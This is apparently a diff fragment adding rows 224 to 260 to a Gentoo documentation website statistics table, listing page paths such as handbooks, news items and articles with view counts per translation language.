+<tr><ti>224.</ti><ti><uri link='/doc/en/xml-guide.xml'>/doc/**/xml-guide.xml</uri></ti><ti align='right'>5,061</ti><ti align='right'>2,407</ti><ti align='right'>415</ti><ti align='right'>384</ti><ti align='right'>383</ti><ti align='right'>360</ti><ti align='right'>344</ti><ti align='right'>122</ti><ti align='right'>313</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>126</ti><ti align='right'></ti><ti align='right'>138</ti><ti align='right'>68</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>1</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>225.</ti><ti><uri link='/proj/en/gdp/index.xml'>/proj/**/gdp/index.xml</uri></ti><ti align='right'>5,048</ti><ti align='right'>5,048</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>226.</ti><ti><uri link='/proj/en/council/index.xml'>/proj/**/council/index.xml</uri></ti><ti align='right'>5,023</ti><ti align='right'>5,023</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>227.</ti><ti><uri link='/news/20080119-gwn.xml'>/news/20080119-gwn.xml</uri></ti><ti align='right'>4,978</ti><ti align='right'>4,978</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>228.</ti><ti><uri link='/proj/en/glep/glep-0044.html'>/proj/**/glep/glep-0044.html</uri></ti><ti align='right'>4,925</ti><ti align='right'>4,925</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>229.</ti><ti><uri link='/news/20080122-releng.xml'>/news/20080122-releng.xml</uri></ti><ti align='right'>4,910</ti><ti align='right'>4,910</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>230.</ti><ti><uri link='/doc/en/zsh.xml'>/doc/**/zsh.xml</uri></ti><ti align='right'>4,833</ti><ti align='right'>2,945</ti><ti align='right'>565</ti><ti align='right'></ti><ti align='right'>665</ti><ti align='right'></ti><ti align='right'>240</ti><ti align='right'></ti><ti align='right'>295</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>39</ti><ti align='right'>84</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>231.</ti><ti><uri link='/doc/en/articles/prompt-magic.xml'>/doc/**/articles/prompt-magic.xml</uri></ti><ti align='right'>4,832</ti><ti align='right'>2,918</ti><ti align='right'>1,094</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>473</ti><ti align='right'></ti><ti align='right'>347</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>232.</ti><ti><uri link='/news/20080112-foundation-status.xml'>/news/20080112-foundation-status.xml</uri></ti><ti align='right'>4,742</ti><ti align='right'>4,742</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>233.</ti><ti><uri link='/doc/en/gentoo-sparc-faq.xml'>/doc/**/gentoo-sparc-faq.xml</uri></ti><ti align='right'>4,734</ti><ti align='right'>2,308</ti><ti align='right'>437</ti><ti align='right'>474</ti><ti align='right'>399</ti><ti align='right'>339</ti><ti align='right'>308</ti><ti align='right'></ti><ti align='right'>355</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>107</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>7</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>234.</ti><ti><uri link='/doc/en/articles/samba-p1.xml'>/doc/**/articles/samba-p1.xml</uri></ti><ti align='right'>4,648</ti><ti align='right'>3,311</ti><ti align='right'>1,000</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>337</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>235.</ti><ti><uri link='/news/20080127-informationweek.xml'>/news/20080127-informationweek.xml</uri></ti><ti align='right'>4,624</ti><ti align='right'>4,624</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>236.</ti><ti><uri link='/proj/en/base/embedded/index.xml'>/proj/**/base/embedded/index.xml</uri></ti><ti align='right'>4,620</ti><ti align='right'>4,620</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>237.</ti><ti><uri link='/doc/en/handbook/2008.0/handbook-hppa.xml'>/doc/**/handbook/2008.0/handbook-hppa.xml</uri></ti><ti align='right'>4,608</ti><ti align='right'>2,453</ti><ti align='right'>517</ti><ti align='right'>686</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>569</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>383</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>238.</ti><ti><uri link='/proj/en/base/embedded/cross-development.xml'>/proj/**/base/embedded/cross-development.xml</uri></ti><ti align='right'>4,606</ti><ti align='right'>4,606</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>239.</ti><ti><uri link='/doc/en/handbook/2006.0/index.xml'>/doc/**/handbook/2006.0/index.xml</uri></ti><ti align='right'>4,531</ti><ti align='right'>1,512</ti><ti align='right'>210</ti><ti align='right'>166</ti><ti align='right'>747</ti><ti align='right'></ti><ti align='right'>155</ti><ti align='right'></ti><ti align='right'>464</ti><ti align='right'></ti><ti align='right'>394</ti><ti align='right'>469</ti><ti align='right'>115</ti><ti align='right'></ti><ti align='right'>299</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>240.</ti><ti><uri link='/news/20080429-release-beta2.xml'>/news/20080429-release-beta2.xml</uri></ti><ti align='right'>4,478</ti><ti align='right'>4,478</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><th>Rank</th><th>Document</th><th>All</th><th>en</th><th>pl</th><th>de</th><th>fr</th><th>ru</th><th>it</th><th>ja</th><th>es</th><th>zh_cn</th><th>pt_br</th><th>zh_tw</th><th>fi</th><th>cs</th><th>ro</th><th>id</th><th>nl</th><th>hu</th><th>da</th><th>tr</th><th>ko</th><th>el</th><th>sk</th><th>pt</th><th>vi</th><th>lt</th><th>sv</th><th>he</th><th>ca</th><th>ar</th><th>sr</th></tr>
+<tr><ti>241.</ti><ti><uri link='/news/20080210-requests-for-2008.0-features-closed.xml'>/news/20080210-requests-for-2008.0-features-closed.xml</uri></ti><ti align='right'>4,422</ti><ti align='right'>4,422</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>242.</ti><ti><uri link='/doc/en/articles/samba-p2.xml'>/doc/**/articles/samba-p2.xml</uri></ti><ti align='right'>4,393</ti><ti align='right'>2,718</ti><ti align='right'>1,285</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>390</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>243.</ti><ti><uri link='/news/20080213-vmsplice.xml'>/news/20080213-vmsplice.xml</uri></ti><ti align='right'>4,392</ti><ti align='right'>4,392</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>244.</ti><ti><uri link='/proj/en/hardened/grsecurity.xml'>/proj/**/hardened/grsecurity.xml</uri></ti><ti align='right'>4,375</ti><ti align='right'>3,819</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>206</ti><ti align='right'></ti><ti align='right'>350</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>245.</ti><ti><uri link='/proj/en/portage/doc/manually-fixing-portage.xml'>/proj/**/portage/doc/manually-fixing-portage.xml</uri></ti><ti align='right'>4,362</ti><ti align='right'>3,843</ti><ti align='right'>251</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>220</ti><ti align='right'></ti><ti align='right'>1</ti><ti align='right'>47</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>246.</ti><ti><uri link='/doc/en/handbook/draft/complete/handbook.xml'>/doc/**/handbook/draft/complete/handbook.xml</uri></ti><ti align='right'>4,343</ti><ti align='right'>4,343</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>247.</ti><ti><uri link='/news/20080112-status-gwn.xml'>/news/20080112-status-gwn.xml</uri></ti><ti align='right'>4,281</ti><ti align='right'>4,281</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>248.</ti><ti><uri link='/doc/en/ebuild-submit.xml'>/doc/**/ebuild-submit.xml</uri></ti><ti align='right'>4,254</ti><ti align='right'>2,615</ti><ti align='right'>156</ti><ti align='right'>288</ti><ti align='right'>267</ti><ti align='right'>306</ti><ti align='right'>161</ti><ti align='right'>161</ti><ti align='right'>169</ti><ti align='right'>53</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>48</ti><ti align='right'>26</ti><ti align='right'>1</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>2</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>1</ti><ti align='right'></ti></tr>
+<tr><ti>249.</ti><ti><uri link='/doc/en/articles/l-awk2.xml'>/doc/**/articles/l-awk2.xml</uri></ti><ti align='right'>4,245</ti><ti align='right'>2,396</ti><ti align='right'>1,005</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>409</ti><ti align='right'></ti><ti align='right'>277</ti><ti align='right'>158</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>250.</ti><ti><uri link='/proj/en/releng/catalyst/faq.xml'>/proj/**/releng/catalyst/faq.xml</uri></ti><ti align='right'>4,223</ti><ti align='right'>3,768</ti><ti align='right'>226</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>186</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>43</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>251.</ti><ti><uri link='/doc/en/articles/l-posix1.xml'>/doc/**/articles/l-posix1.xml</uri></ti><ti align='right'>4,146</ti><ti align='right'>2,250</ti><ti align='right'>679</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>319</ti><ti align='right'></ti><ti align='right'>898</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>252.</ti><ti><uri link='/doc/en/source_mirrors.xml'>/doc/**/source_mirrors.xml</uri></ti><ti align='right'>4,136</ti><ti align='right'>2,490</ti><ti align='right'>216</ti><ti align='right'>197</ti><ti align='right'>214</ti><ti align='right'>344</ti><ti align='right'>186</ti><ti align='right'>139</ti><ti align='right'>203</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>60</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>60</ti><ti align='right'></ti><ti align='right'>27</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>253.</ti><ti><uri link='/doc/en/articles/openssh-key-management-p1.xml'>/doc/**/articles/openssh-key-management-p1.xml</uri></ti><ti align='right'>4,128</ti><ti align='right'>2,356</ti><ti align='right'>965</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>532</ti><ti align='right'></ti><ti align='right'>275</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>254.</ti><ti><uri link='/doc/en/articles/samba-p3.xml'>/doc/**/articles/samba-p3.xml</uri></ti><ti align='right'>4,097</ti><ti align='right'>2,413</ti><ti align='right'>1,188</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>496</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>255.</ti><ti><uri link='/proj/en/portage/index.xml'>/proj/**/portage/index.xml</uri></ti><ti align='right'>4,076</ti><ti align='right'>4,076</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>256.</ti><ti><uri link='/doc/en/ldapdns-guide.xml'>/doc/**/ldapdns-guide.xml</uri></ti><ti align='right'>4,073</ti><ti align='right'>2,516</ti><ti align='right'>456</ti><ti align='right'></ti><ti align='right'>362</ti><ti align='right'></ti><ti align='right'>316</ti><ti align='right'>329</ti><ti align='right'>10</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>84</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>257.</ti><ti><uri link='/doc/en/articles/hardware-stability-p1.xml'>/doc/**/articles/hardware-stability-p1.xml</uri></ti><ti align='right'>4,070</ti><ti align='right'>2,276</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>563</ti><ti align='right'></ti><ti align='right'>1,231</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>258.</ti><ti><uri link='/doc/en/handbook/2006.1/index.xml'>/doc/**/handbook/2006.1/index.xml</uri></ti><ti align='right'>4,022</ti><ti align='right'>3,035</ti><ti align='right'>200</ti><ti align='right'>140</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>209</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>217</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>61</ti><ti align='right'>150</ti><ti align='right'>10</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>259.</ti><ti><uri link='/doc/en/articles/partitioning-p1.xml'>/doc/**/articles/partitioning-p1.xml</uri></ti><ti align='right'>4,001</ti><ti align='right'>1,951</ti><ti align='right'>1,256</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>346</ti><ti align='right'></ti><ti align='right'>448</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>260.</ti><ti><uri link='/news/20080218-gmn.xml'>/news/20080218-gmn.xml</uri></ti><ti align='right'>3,985</ti><ti align='right'>3,985</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><th>Rank</th><th>Document</th><th>All</th><th>en</th><th>pl</th><th>de</th><th>fr</th><th>ru</th><th>it</th><th>ja</th><th>es</th><th>zh_cn</th><th>pt_br</th><th>zh_tw</th><th>fi</th><th>cs</th><th>ro</th><th>id</th><th>nl</th><th>hu</th><th>da</th><th>tr</th><th>ko</th><th>el</th><th>sk</th><th>pt</th><th>vi</th><th>lt</th><th>sv</th><th>he</th><th>ca</th><th>ar</th><th>sr</th></tr>
